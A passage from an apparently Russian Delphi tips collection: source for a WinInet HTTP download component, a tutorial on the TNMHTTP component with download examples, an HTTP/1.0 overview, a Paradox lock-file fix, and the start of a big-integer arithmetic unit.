   end;
 
   THTTPGet = class(TComponent)
   private
     FAcceptTypes: String;
     FAgent: String;
     FBinaryData: Boolean;
     FURL: String;
     FUseCache: Boolean;
     FFileName: String;
     FUserName: String;
     FPassword: String;
     FPostQuery: String;
     FReferer: String;
     FWaitThread: Boolean;
 
     FThread: THTTPGetThread;
     FError: TNotifyEvent;
     FResult: Boolean;
 
     FProgress: TOnProgressEvent;
     FDoneFile: TOnDoneFileEvent;
     FDoneString: TOnDoneStringEvent;
 
     procedure ThreadDone(Sender: TObject);
   public
     constructor Create(aOwner: TComponent); override;
     destructor Destroy; override;
 
     procedure GetFile;
     procedure GetString;
     procedure Abort;
   published
     property AcceptTypes: String read FAcceptTypes write FAcceptTypes;
     property Agent: String read FAgent write FAgent;
     property BinaryData: Boolean read FBinaryData write FBinaryData;
     property URL: String read FURL write FURL;
     property UseCache: Boolean read FUseCache write FUseCache;
     property FileName: String read FFileName write FFileName;
     property UserName: String read FUserName write FUserName;
     property Password: String read FPassword write FPassword;
     property PostQuery: String read FPostQuery write FPostQuery;
     property Referer: String read FReferer write FReferer;
     property WaitThread: Boolean read FWaitThread write FWaitThread;
 
     property OnProgress: TOnProgressEvent read FProgress write FProgress;
     property OnDoneFile: TOnDoneFileEvent read FDoneFile write FDoneFile;
     property OnDoneString: TOnDoneStringEvent read FDoneString write FDoneString;
     property OnError: TNotifyEvent read FError write FError;
   end;
 
 procedure Register;
 
 implementation
 
 //  THTTPGetThread
 
 constructor THTTPGetThread.Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName,
   aPassword, aPostQuery, aReferer: String; aBinaryData, aUseCache:
   Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
 begin
   FreeOnTerminate := True;
   inherited Create(True);
 
   FTAcceptTypes := aAcceptTypes;
   FTAgent := aAgent;
   FTURL := aURL;
   FTFileName := aFileName;
   FTUserName := aUserName;
   FTPassword := aPassword;
   FTPostQuery := aPostQuery;
   FTReferer := aReferer;
   FTProgress := aProgress;
   FTBinaryData := aBinaryData;
   FTUseCache := aUseCache;
 
   FTToFile := aToFile;
   Resume;
 end;
 
 procedure THTTPGetThread.UpdateProgress;
 begin
   FTProgress(Self, FTFileSize, BytesReaded);
 end;
 
 procedure THTTPGetThread.Execute;
 var
   hSession, hConnect, hRequest: hInternet;
   HostName, FileName: String;
   f: File;
   Buf: Pointer;
   dwBufLen, dwIndex: DWord;
   Data: Array[0..$400] of Char;
   TempStr: String;
   RequestMethod: PChar;
   InternetFlag: DWord;
   AcceptType: LPStr;
 
   procedure ParseURL(URL: String; var HostName, FileName: String);
 
     procedure ReplaceChar(c1, c2: Char; var St: String);
     var
       p: Integer;
     begin
       while True do
        begin
         p := Pos(c1, St);
         if p = 0 then Break
         else St[p] := c2;
        end;
     end;
 
   var
     i: Integer;
   begin
     if Pos('http://', LowerCase(URL)) <> 0 then
       System.Delete(URL, 1, 7);
 
     i := Pos('/', URL);
     HostName := Copy(URL, 1, i);
     FileName := Copy(URL, i, Length(URL) - i + 1);
 
     if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
       SetLength(HostName, Length(HostName) - 1);
   end;
 
  procedure CloseHandles;
  begin
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
  end;
 
 begin
   try
     ParseURL(FTURL, HostName, FileName);
 
     if Terminated then
      begin
       FTResult := False;
       Exit;
      end;
 
     if FTAgent <> '' then
      hSession := InternetOpen(PChar(FTAgent),
        INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0)
     else
      hSession := InternetOpen(nil,
        INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
 
     hConnect := InternetConnect(hSession, PChar(HostName),
       INTERNET_DEFAULT_HTTP_PORT, PChar(FTUserName), PChar(FTPassword), INTERNET_SERVICE_HTTP, 0, 0);
 
     if FTPostQuery = '' then RequestMethod := 'GET'
     else RequestMethod := 'POST';
 
     if FTUseCache then InternetFlag := 0
     else InternetFlag := INTERNET_FLAG_RELOAD;
 
     AcceptType := PChar('Accept: ' + FTAcceptTypes);
     hRequest := HttpOpenRequest(hConnect, RequestMethod, PChar(FileName), 'HTTP/1.0',
                 PChar(FTReferer), @AcceptType, InternetFlag, 0);
 
     if FTPostQuery = '' then
      HttpSendRequest(hRequest, nil, 0, nil, 0)
     else
      HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
                      PChar(FTPostQuery), Length(FTPostQuery));
 
     if Terminated then
      begin
       CloseHandles;
       FTResult := False;
       Exit;
      end;
 
     dwIndex  := 0;
     dwBufLen := 1024;
     GetMem(Buf, dwBufLen);
 
     FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
                               Buf, dwBufLen, dwIndex);
 
     if Terminated then
      begin
       FreeMem(Buf);
       CloseHandles;
       FTResult := False;
       Exit;
      end;
 
     if FTResult or not FTBinaryData then
      begin
       if FTResult then
         FTFileSize := StrToInt(StrPas(Buf));
 
       BytesReaded := 0;
 
       if FTToFile then
        begin
         AssignFile(f, FTFileName);
         Rewrite(f, 1);
        end
       else FTStringResult := '';
 
       while True do
        begin
         if Terminated then
          begin
           if FTToFile then CloseFile(f);
           FreeMem(Buf);
           CloseHandles;
 
           FTResult := False;
           Exit;
          end;
 
         if not InternetReadFile(hRequest, @Data, SizeOf(Data), BytesToRead) then Break
         else
          if BytesToRead = 0 then Break
          else
           begin
            if FTToFile then
             BlockWrite(f, Data, BytesToRead)
            else
             begin
              TempStr := Data;
              SetLength(TempStr, BytesToRead);
              FTStringResult := FTStringResult + TempStr;
             end;
 
            inc(BytesReaded, BytesToRead);
            if Assigned(FTProgress) then
             Synchronize(UpdateProgress);
           end;
        end;
 
       if FTToFile then
         FTResult := FTFileSize = Integer(BytesReaded)
       else
        begin
         SetLength(FTStringResult, BytesReaded);
         FTResult := BytesReaded <> 0;
        end;
 
       if FTToFile then CloseFile(f);
      end;
 
     FreeMem(Buf);
 
     CloseHandles;
   except
   end;
 end;
 
 // HTTPGet
 
 constructor THTTPGet.Create(aOwner: TComponent);
 begin
   inherited Create(aOwner);
   FAcceptTypes := '*/*';
   FAgent := 'UtilMind HTTPGet';
 end;
 
 destructor THTTPGet.Destroy;
 begin
   Abort;
   inherited Destroy;
 end;
 
 procedure THTTPGet.GetFile;
 var
   Msg: TMsg;
 begin
   if not Assigned(FThread) then
    begin
     FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName,
       FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, True);
     FThread.OnTerminate := ThreadDone;
     if FWaitThread then
     while Assigned(FThread) do
      while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
       begin
         TranslateMessage(Msg);
         DispatchMessage(Msg);
       end;
    end
 end;
 
 procedure THTTPGet.GetString;
 var
   Msg: TMsg;
 begin
   if not Assigned(FThread) then
    begin
     FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName,
       FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, False);
     FThread.OnTerminate := ThreadDone;
     if FWaitThread then
      while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
       begin
         TranslateMessage(Msg);
         DispatchMessage(Msg);
       end;
    end
 end;
 
 procedure THTTPGet.Abort;
 begin
   if Assigned(FThread) then
    begin
     FThread.Terminate;
     FThread.FTResult := False;
    end;
 end;
 
 procedure THTTPGet.ThreadDone(Sender: TObject);
 begin
   FResult := FThread.FTResult;
   if FResult then
    if FThread.FTToFile then
     if Assigned(FDoneFile) then FDoneFile(Self, FThread.FTFileName, FThread.FTFileSize) else
    else
     if Assigned(FDoneString) then FDoneString(Self, FThread.FTStringResult) else
   else
    if Assigned(FError) then FError(Self);
   FThread := nil;
 end;
 
 procedure Register;
 begin
   RegisterComponents('UtilMind', [THTTPGet]);
 end;
 
 end.
 




Работа с HTTP протоколом

Ищу кpэк к DEEP BLUE. Каспаpов.

В связи с все большим вниманием, которое привлекает к себе Интернет, все больше людей становятся заинтересованы в сетевых технологиях. Данная статья посвящена программированию на Borland Delphi с использованием одного из самых популярных Интернет-протоколов - HTTP.

А именно, здесь мы рассмотрим компонент TNMHTTP (NetMasters HTTP), который можно обнаружить на вкладке FastNet палитры компонентов Дельфи.

Начнем с теории. Если Вы уже знаете, что такое HTTP и зачем он нужен, то пропустите следующий раздел.

Зачем нужен HTTP

Итак, где же используется HTTP? Если Вы хотя бы чуть-чуть заглядывали на Интернет-странички и встречались с термином Web, то наверняка обратили внимание на то, что адреса страничек, как правило, начинаются с http://. Протокол HTTP (HyperText Transfer Protocol) позволяет принимать и посылать не только гипертекстовые документы (типа html), но и любые другие (тексты (txt), изображения (gif, jpg), и т.д.). Ниже приведены типовые задачи, для выполнения которых необходимо использовать HTTP:

  • Браузеры - программы, позволяющие просматривать Интернет-странички;
  • Скачивальщики - программы, позволяющие скачивать из Интернета странички, рисунки и другие документы;
  • Чаты - программы, позволяющие общаться по сети. Часто документы HTTP используются для хранения сообщений (как, например, в конференциях).

Это лишь список некоторых из стандартных направлений программирования с использованием HTTP. Вы можете применять этот протокол для любых своих целей. Например, автоматические системы обновления данных, посылка запросов в Интернетовские базы, и еще множество всяческих других возможностей!

Краткое описание свойств, методов и событий

Ниже приведена таблица, содержащая наиболее краткое описание основных свойств, методов и событий компонента TNMHTTP:

Свойства

Body
строка, содержащая либо путь к файлу, в который будет записано тело http-документа (если св-во InputFileMode равно True), либо непосредственно само тело (если св-во InputFileMode равно False). Тип: string;
Header
строка, содержащая либо путь к файлу, в который будет записан заголовок http-документа (если св-во InputFileMode равно True), либо непосредственно сам заголовок (если св-во InputFileMode равно False). Тип: string;
HeaderInfo
структура, содержащая различную информацию о http-документе (подробней см. в help-файле). Тип: THeaderInfo;
InputFileMode
тип записи результата. Значение True - запись в файлы, указанные в свойствах Body и Header, False - запись в сами эти свойства. Тип: Boolean;
OutputFileMode
тип отсылаемых данных (методами Put, Post и Trace). Значение True - данные для отправки содержатся в файлах, указанных при вызове этих методов, а False - в самих аргументах этих методов. Тип: Boolean;

Далее некоторые свойства, унаследованные от TPowerSock:

BytesRecvd, BytesSent, BytesTotal
количество отправленных, принятых и общее количество байтов соотвественно. Тип: LongInt;
Connected
показывает, установленно ли в данный момент соединение. Тип: Boolean;
BeenCanceled
показывает, было ли прервано соединение с сервером. Тип: Boolean;
Host
строка, содержащая хост-имя удаленного компьютера. Заполнять не надо, так как это свойство устанавливается автоматически при вызове методов Get, Put, Post и т.д. Тип: string. Port - Integer, содержащий порт удаленного компьютера (заполняется тоже автоматически);
TimeOut
таймаут в миллисекундах. Тип: Integer;

Еще есть множество свойств, но я пока остановлюсь на уже перечисленных. За дополнительной информацией обращайтесь к help-у по Дельфи.

Методы:

Get(URL: string)
посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файлы или в сами свойства Body и Header (в зависимости от значения свойства InputFileMode);
Head(URL: string)
посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файл или в само свойство Header (в зависимости от значения свойства InputFileMode). В отличие от метода Get, при вызове Head запрос отсылается только на заголовок http-документа;
Post(URL, PostData: string)
посылает запрос на изменение http-документа (с адресом URL) на данные, содержащиеся в параметре PostData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные.
Put(URL, PutData: string)
посылает запрос на создание http-документа (с адресом URL), содержащего данные, переданные в параметре PutData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные.
Trace(URL, TraceData: string)
посылает запрос на получение отладочных данных (для отладки соединения с HTTP-сервером). Данные для запроса нужно указать в параметре TraceData. Если OutputFileMode равен True, то в TraceData должен содержаться путь к файлу, содержащему нужные данные.
Delete(URL: string)
посылает запрос на удаление http-документа (с адресом URL).

Далее некоторые методы, унаследованные от TPowerSock:

Abort и Cancel
прерывают соединение и обмен данными;
Disconnect
отсоединение от HTTP-сервера;

События

OnAuthenticationNeeded
возникает, когда сервер требует указания имени пользователя и пароля. В обработчике этого события (если оно возникнет) Вы должны ответить серверу, запонив нужными значениями соответствующие переменные. Примечание: Перед установлением соединения можно сразу заполнить поля UserID и Password в свойстве HeaderInfo;
OnAboutToSend
возникает, когда компонент TNMHTTP собирается отправлять данные (запрос). В обработчике этого события можно заполнить дополнительной информацией свойство SendHeader;
OnFailure
возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка;
OnRedirect
возникает, сервер переадресовал ссылку с указанной URL на другую ссылку. Установив параметр handled в значение True можно запретить переадресацию и остановиться на запрошенной URL. Значение по умолчанию - False;
OnSuccess
возникает, когда текущая операция завершилась успешно, т.е. запрос был выполнен без ошибок;

Далее некоторые методы, унаследованные от TPowerSock:

OnConnect
возникает, когда соединение с сервером успешно установлено;
OnDisconnect
возникает, когда соединение с сервером завершено;
OnConnectionFailed
возникает, когда соединение с сервером установить не удалось;
OnError
возникает, когда последняя операция была завершена с ошибкой;
OnHostResolved
возникает, когда от DNS получен IP-адрес указанного хоста;
OnInvalidHost
возникает, когда DNS вернул ошибку при попытке определить IP-адрес указанного хоста;
OnPacketRecvd
возникает, когда значения свойств BytesRecvd и BytesTotal изменены, т.е. была принята новая порция данных от сервера;
OnPacketSent
возникает, когда значения свойств BytesSent и BytesTotal изменены, т.е. была отправлена новая порция данных на сервер;
OnStatus
возникает, когда статус компонента был изменен (для обновления визуального оповещения пользователя);

Практика и примеры

Ну а теперь приступим к самому главному методу изучения - на примерах.

И самый первый пример - программа, позволяющая определить, существует ли заданный URL:

Пример 1. Проверка существования указанной URL


 {... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1}
 
 {В форму нужно поместить кнопку TButton и одно поле TEdit. При нажатии на
 кнопку вызывается обработчик события OnClick - Button1Click. Перед этим в
 TEdit нужно ввести адрес URL. НЕ ЗАБУДЬТЕ ПОМЕСТИТЬ В ФОРМУ КОМПОНЕНТ TNMHTTP!}
 
 procedure Button1Click(Sender: TObject);
 begin
   {Пытаемя получить заголовок}
   NMHTTP1.Head(Edit1.Text);
   {Если URL неверный, то здесь выскочит ошибка}
 end;
 

Следующий пример - скачивание сразу нескольких URL одновременно. Надо заметить, что многие программисты пренебрегают многозадачностью Windows (неважно, как она реализована, речь сейчас не об этом). В Дельфи очень легко создавать отдельные, подчиненные Вашей программе процессы (а точнее - потоки) с помощью базового класса TThread. Но об этом мы поговорим в другой раз (в другой статье).

Пример 2. Одновременное скачивание указанных URL в заданный каталог


 // Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1
 
 // Описание класса отдельного процесса
 type
   THTTPThread = class(TThread)
   private
     {Для каждого процесса - создаем свой компонент TNMHTTP}
     FHTTP: TNMHTTP;
   protected
     // Execute вызывается при запуске процесса; override - заменяем
     // существующую процедуру базового класса TThread
     procedure Execute; override;
     // DoWork - созданная нами функция, выполнение которой синхронизируется в Execute
     procedure DoWork;
   public
     // URL - созданная нами строка, указывающая процессу, какой URL ему нужно скачать
     URL: string;
 end;
 
 // В форму нужно поместить три кнопки TButton, одно поле TEdit и один список
 // TListBox. При нажатии на кнопку Button1 вызывается обработчик события
 // OnClick - Button1Click. Перед этим в TEdit нужно ввести путь к каталогу, в
 // котором будут храниться скачанные файлы, а ListBox1 нужно заполнить списком
 // URL-ов для скачивания (с помощью кнопок Add (Button2) и Delete (Button3)).
 
 procedure TForm1.Button3Click(Sender: TObject);
 begin
   {Удаление выделенного URL из списка}
   if ListBox1.ItemIndex >= 0 then
     ListBox1.Items.Delete(ListBox1.ItemIndex);
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 var
   s: string;
 begin
   {Добавление URL в список}
   s := InputBox('Добавить','Введите URL:','');
   if s <> '' then
     ListBox1.Items.Add(s);
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   i: Integer;
 begin
   {Проверка на существование каталога}
   if Length(Edit1.Text) > 0 then
     if not DirectoryExists(Edit1.Text) then
       MkDir(Edit1.Text);
   {Далее идет создание для каждого URL в списке своего процесса}
   for i := 0 to ListBox1.Items.Count-1 do
   begin
     with THTTPThread.Create(True) do
     begin
       {Создаем приостановленную задачу, указываем ей ее URL и запускаем ее}
       URL := ListBox1.Items[i];
       Resume;
     end;
   end;
 end;
 
 // Операторы процесса THTTPThread
 
 procedure THTTPThread.Execute;
 begin
   // Делаем так, чтобы каждый процесс выполнялся одновременно с другими (синхронизация)}
   Synchronize(DoWork);
 end;
 
 procedure THTTPThread.DoWork;
 var
   i: Integer;
 begin
   {Создаем компонент TNMHTTP}
   FHTTP := TNMHTTP.Create(Form1);
   {Результат надо записывать в файлы}
   FHTTP.InputFileMode := True;
   {Подбираем имена для файлов}
   i := 1;
   while FileExists(Form1.Edit1.Text+'\page'+IntToStr(i)+'.htm') do
     Inc(i);
   {Указываем, в какие именно файлы класть результат}
   FHTTP.Body := Form1.Edit1.Text+'\body'+IntToStr(i)+'.htm';
   FHTTP.Header := Form1.Edit1.Text+'\header'+IntToStr(i)+'.txt';
   {Пытаемся послать запрос}
   FHTTP.Get(URL);
   {Перед завершением процесса не забываем освободить память из-под компонента}
   FHTTP.Free;
 end;
 

ПРИМЕЧАНИЕ:

Чтобы завершить некоторый процесс (Thread), нужно вызвать метод Terminate класса этого процесса. Приостановить процесс можно оператором Suspend, а продолжить выполнение - Resume. Также можно настроить приоритет каждого отдельного процесса через свойство Priority.

Неплохой пример работы с процессами можно найти в подпапке Demos\Threads папки, куда Вы установили Delphi.

Замечания по алгоритмам типовых задач

Если Вы собираетесь создать скачивалку сайтов, то Вам необходимо учитывать следующее (решить следующие проблемы):

  • Нужно скачивать не только саму страничку в формате HTML, но и все входящие в нее рисунки (gif, jpg, и т.д.);
  • в некоторых случаях удобно скачивать не одну страничку, а несколько страниц, ссылки на которые находятся на первой из скачиваемых страничек. При этом нужно учитывать, что на страничке могут находиться и ссылки на другие сайты, поэтому необходимо анализировать скачиваемые ссылки (чтобы случайно не скачать весь Интернет). Для решения задачи со скачиванием нескольких страничек нужно использовать рекурсию;
  • необходимо качественно информировать пользователя о ходе закачки. Т.е. показывать общее и скачанное количество информации;
  • после скачивания нужно заменить Интернетовские ссылки на локальные, чтобы можно было просматривать странички в режиме offline.



HyperText Transfer Protocol - протокол обмена WWW-серверов

Интернетчик пишет объявление в конференцию:
- Девушки, выходите за меня замуж! Стране, нужны хакеры.
Возникает флейм:
- Девушки, не верьте ему, он вас сломает, хакнет и выложит на ББС с паролем общего доступа, а потом и вообще бросит. Все это ничего, он вас еще и вирусом заразит...

Назначение

HyperText Transfer Protocol (HTTP) - это протокол прикладного уровня, применяемый в распределенных информационных системах гипермедиа. HTTP используется проектом World Wide Web с 1990 года.

HTTP/1.0 предоставляет открытое множество методов, которые могут быть использованы для указания целей запроса. Они построены на дисциплине ссылок, где для указания ресурса, к которому должен быть применен данный метод, используется Универсальный Идентификатор Ресурсов (Universal Resource Identifier - URI), в виде местонахождения (URL) или имени (URN). Формат сообщений сходен с форматом Internet Mail или Multipurpose Internet Mail Extensions (MIME-Многоцелевое Расширение Почты Internet).

HTTP/1.0 используется также для коммуникаций между различными пользовательскими просмотрщиками и шлюзами, дающими гипермедиа доступ к существующим Internet протоколам, таким как SMTP, NNTP, FTP, Gopher и WAIS. HTTP/1.0 разработан, чтобы позволять таким шлюзам через proxy серверы, без какой-либо потери передавать данные с помощью упомянутых протоколов более ранних версий.

Общая Структура

HTTP основывается на парадигме запросов/ответов. Запрашивающая программа (обычно она называется клиент) устанавливает связь с обслуживающей программой-получателем (обычно называется сервер) и посылает запрос серверу в следующей форме: метод запроса, URI, версия протокола, за которой следует MIME-подобное сообщение, содержащее управляющую информацию запроса, информацию о клиенте и, может быть, тело сообщения. Сервер отвечает сообщением, содержащим строку статуса (включая версию протокола и код статуса - успех или ошибка), за которой следует MIME-подобное сообщение, включающее в себя информацию о сервере, метаинформацию о содержании ответа, и, вероятно, само тело ответа. Следует отметить, что одна программа может быть одновременно и клиентом и сервером. Использование этих терминов в данном тексте относится только к роли, выполняемой программой в течение данного конкретного сеанса связи, а не к общим функциям программы.

В Internet коммуникации обычно основываются на TCP/IP протоколах. Для WWW номер порта по умолчанию - TCP 80, но также могут быть использованы и другие номера портов - это не исключает возможности использовать HTTP в качестве протокола верхнего уровня.

Для большинства приложений сеанс связи открывается клиентом для каждого запроса и закрывается сервером после окончания ответа на запрос. Тем не менее, это не является особенностью протокола. И клиент, и сервер должны иметь возможность закрывать сеанс связи, например, в результате какого-нибудь действия пользователя. В любом случае, разрыв связи, инициированный любой стороной, прерывает текущий запрос, независимо от его статуса.




Огромные LCK-файлы

Автор: Scott Frolich

Если .EXE-файл расположен в том же каталоге, что и таблица Paradox, и флажок Local Share установлен в TRUE, .LCK-файл с каждым запросом растет как на дрожжах. Другая условие - вы имеете соединение посредством DbiOpenTable или TTable.Open.

РЕШЕНИЕ:

  1. Установите частный (private) каталог в какое-нибудь другое место
  2. Переместите .EXE-файл в каталог, отличный от каталога с файлами таблиц
  3. Установите Local Share в FALSE



Огромные числа

Автор: Lloyd

Данный модуль использует массив байт для предоставления БОЛЬШИХ чисел. Бинарно-хранимые числа заключены в массив, где первый элемент является Наименьшим Значимым Байтом (Least Significant Byte - LSB), последний - Наибольшим Значимым Байтом (Most Significant Byte - MSB), подобно всем Intel-целочисленным типам.

Арифметика здесь использует не 10- или 2-тиричную, а 256-тиричную систему исчисления, чтобы каждый байт представлял одну (1) цифру.

Числа HugeInttype - Подписанные Числа (Signed Numbers).

При компиляции с директивой R+, ADD и MUL могут в определенных обстоятельствах генерировать "Arithmetic Overflow Error" (RunError(215)) - ошибка арифметического переполнения. В таком случае пользуйтесь переменной "HugeIntCarry".

Переменная "HugeIntDiv0" используется для проверки деления на ноль.

Используйте {$DEFINE HugeInt_xx } или поле "Conditional defines" (символ условного компилирования) в "Compiler options" (опции компилятора) для задания размерности, где xx должно быть равно 64, 32 или 16, в противном случае HugeIntSize будет равен 8 байтам.


 unit HugeInts;
 interface
 
 const
 {$IFDEF HugeInt_64 }
 
   HugeIntSize = 64;
 
 {$ELSE}{$IFDEF HugeInt_32 }
 
   HugeIntSize = 32;
 {$ELSE}{$IFDEF HugeInt_16 }
 
   HugeIntSize = 16;
 {$ELSE}
 
   HugeIntSize = 8;
 {$ENDIF}{$ENDIF}{$ENDIF}
 
   HugeIntMSB = HugeIntSize - 1;
 
 type
 
   HugeInt = array[0..HugeIntMSB] of Byte;
 
 const
 
   HugeIntCarry: Boolean = False;
   HugeIntDiv0: Boolean = False;
 
 procedure HugeInt_Min(var a: HugeInt); { a := -a }
 procedure HugeInt_Inc(var a: HugeInt); { a := a + 1 }
 procedure HugeInt_Dec(var a: HugeInt); { a := a - 1 }
 
 procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt); { R := a + b }
 procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt); { R := a - b }
 procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt); { R := a * b }
 procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt); { R := a div b }
 procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt); { R := a mod b }
 
 function HugeInt_IsNeg(a: HugeInt): Boolean;
 function HugeInt_Zero(a: HugeInt): Boolean;
 function HugeInt_Odd(a: HugeInt): Boolean;
 
 function HugeInt_Comp(a, b: HugeInt): Integer; {-1:a< 0; 1:a>}
 procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt); { Dest := Src }
 
 procedure String2HugeInt(AString: string; var a: HugeInt);
 procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
 procedure HugeInt2String(a: HugeInt; var S: string);
 
 implementation
 
 procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt);
 { Dest := Src }
 begin
 
   Move(Src, Dest, SizeOf(HugeInt));
 end; { HugeInt_Copy }
 
 function HugeInt_IsNeg(a: HugeInt): Boolean;
 begin
 
   HugeInt_IsNeg := a[HugeIntMSB] and $80 > 0;
 end; { HugeInt_IsNeg }
 
 function HugeInt_Zero(a: HugeInt): Boolean;
 var
   i: Integer;
 begin
 
   HugeInt_Zero := False;
   for i := 0 to HugeIntMSB do
     if a[i] <> 0 then
       Exit;
   HugeInt_Zero := True;
 end; { HugeInt_Zero }
 
 function HugeInt_Odd(a: HugeInt): Boolean;
 begin
 
   HugeInt_Odd := a[0] and 1 > 0;
 end; { HugeInt_Odd }
 
 function HugeInt_HCD(a: HugeInt): Integer;
 var
   i: Integer;
 begin
 
   i := HugeIntMSB;
   while (i > 0) and (a[i] = 0) do
     Dec(i);
   HugeInt_HCD := i;
 end; { HugeInt_HCD }
 
 procedure HugeInt_SHL(var a: HugeInt; Digits: Integer);
 { Перемещение байтов переменной "Digits" в левую часть,
 
 байты "Digits" будут 'ослабевать' в MSB-части.
 LSB-часть заполняется нулями. }
 var
   t: Integer;
   b: HugeInt;
 begin
 
   if Digits > HugeIntMSB then
     FillChar(a, SizeOf(HugeInt), 0)
   else if Digits > 0 then
   begin
     Move(a[0], a[Digits], HugeIntSize - Digits);
     FillChar(a[0], Digits, 0);
   end; { else if }
 end; { HugeInt_SHL }
 
 procedure HugeInt_SHR(var a: HugeInt; Digits: Integer);
 var
   t: Integer;
 begin
 
   if Digits > HugeIntMSB then
     FillChar(a, SizeOf(HugeInt), 0)
   else if Digits > 0 then
   begin
     Move(a[Digits], a[0], HugeIntSize - Digits);
     FillChar(a[HugeIntSize - Digits], Digits, 0);
   end; { else if }
 end; { HugeInt_SHR }
 
 procedure HugeInt_Inc(var a: HugeInt);
 { a := a + 1 }
 var
 
   i: Integer;
   h: Word;
 begin
 
   i := 0;
   h := 1;
   repeat
     h := h + a[i];
     a[i] := Lo(h);
     h := Hi(h);
     Inc(i);
   until (i > HugeIntMSB) or (h = 0);
   HugeIntCarry := h > 0;
 {$IFOPT R+ }
   if HugeIntCarry then
     RunError(215);
 {$ENDIF}
 end; { HugeInt_Inc }
 
 procedure HugeInt_Dec(var a: HugeInt);
 { a := a - 1 }
 var
   Minus_1: HugeInt;
 begin
 
   { самый простой способ }
   FillChar(Minus_1, SizeOf(HugeInt), $FF); { -1 }
   HugeInt_Add(a, Minus_1, a);
 end; { HugeInt_Dec }
 
 procedure HugeInt_Min(var a: HugeInt);
 { a := -a }
 var
   i: Integer;
 begin
 
   for i := 0 to HugeIntMSB do
     a[i] := not a[i];
   HugeInt_Inc(a);
 end; { HugeInt_Min }
 
 function HugeInt_Comp(a, b: HugeInt): Integer;
 { a = b: ==0; a > b: ==1; a < b: ==-1 }
 var
 
   A_IsNeg, B_IsNeg: Boolean;
   i: Integer;
 begin
 
   A_IsNeg := HugeInt_IsNeg(a);
   B_IsNeg := HugeInt_IsNeg(b);
   if A_IsNeg xor B_IsNeg then
     if A_IsNeg then
       HugeInt_Comp := -1
     else
       HugeInt_Comp := 1
   else
   begin
     if A_IsNeg then
       HugeInt_Min(a);
     if B_IsNeg then
       HugeInt_Min(b);
     i := HugeIntMSB;
     while (i > 0) and (a[i] = b[i]) do
       Dec(i);
     if A_IsNeg then { оба отрицательные! }
       if a[i] > b[i] then
         HugeInt_Comp := -1
       else if a[i] < b[i] then
         HugeInt_Comp := 1
       else
         HugeInt_Comp := 0
     else { оба положительные } if a[i] > b[i] then
         HugeInt_Comp := 1
       else if a[i] < b[i] then
         HugeInt_Comp := -1
       else
         HugeInt_Comp := 0;
   end; { else }
 end; { HugeInt_Comp }
 
 procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt);
 { R := a + b }
 var
 
   i: Integer;
   h: Word;
 begin
 
   h := 0;
   for i := 0 to HugeIntMSB do
   begin
     h := h + a[i] + b[i];
     R[i] := Lo(h);
     h := Hi(h);
   end; { for }
   HugeIntCarry := h > 0;
 {$IFOPT R+ }
   if HugeIntCarry then
     RunError(215);
 {$ENDIF}
 end; { HugeInt_Add }
 
 procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt);
 { R := a - b }
 var
 
   i: Integer;
   h: Word;
 begin
 
   HugeInt_Min(b);
   HugeInt_Add(a, b, R);
 end; { HugeInt_Sub }
 
 procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt);
 { R := a * b }
 var
 
   i, j, k: Integer;
   A_end, B_end: Integer;
   A_IsNeg, B_IsNeg: Boolean;
   h: Word;
 begin
 
   A_IsNeg := HugeInt_IsNeg(a);
   B_IsNeg := HugeInt_IsNeg(b);
   if A_IsNeg then
     HugeInt_Min(a);
   if B_IsNeg then
     HugeInt_Min(b);
   A_End := HugeInt_HCD(a);
   B_End := HugeInt_HCD(b);
   FillChar(R, SizeOf(R), 0);
   HugeIntCarry := False;
   for i := 0 to A_end do
   begin
     h := 0;
     for j := 0 to B_end do
       if (i + j) < HugeIntSize then
       begin
         h := h + R[i + j] + a[i] * b[j];
         R[i + j] := Lo(h);
         h := Hi(h);
       end; { if }
     k := i + B_End + 1;
     while (k < HugeIntSize) and (h > 0) do
     begin
       h := h + R[k];
       R[k] := Lo(h);
       h := Hi(h);
       Inc(k);
     end; { while }
     HugeIntCarry := h > 0;
 {$IFOPT R+}
     if HugeIntCarry then
       RunError(215);
 {$ENDIF}
   end; { for }
   { если все хорошо... }
   if A_IsNeg xor B_IsNeg then
     HugeInt_Min(R);
 end; { HugeInt_Mul }
 
 procedure HugeInt_DivMod(var a: HugeInt; b: HugeInt; var R: HugeInt);
 { R := a div b  a := a mod b }
 var
 
   MaxShifts, s, q: Integer;
   d, e: HugeInt;
   A_IsNeg, B_IsNeg: Boolean;
 begin
 
   if HugeInt_Zero(b) then
   begin
     HugeIntDiv0 := True;
     Exit;
   end { if }
   else
     HugeIntDiv0 := False;
   A_IsNeg := HugeInt_IsNeg(a);
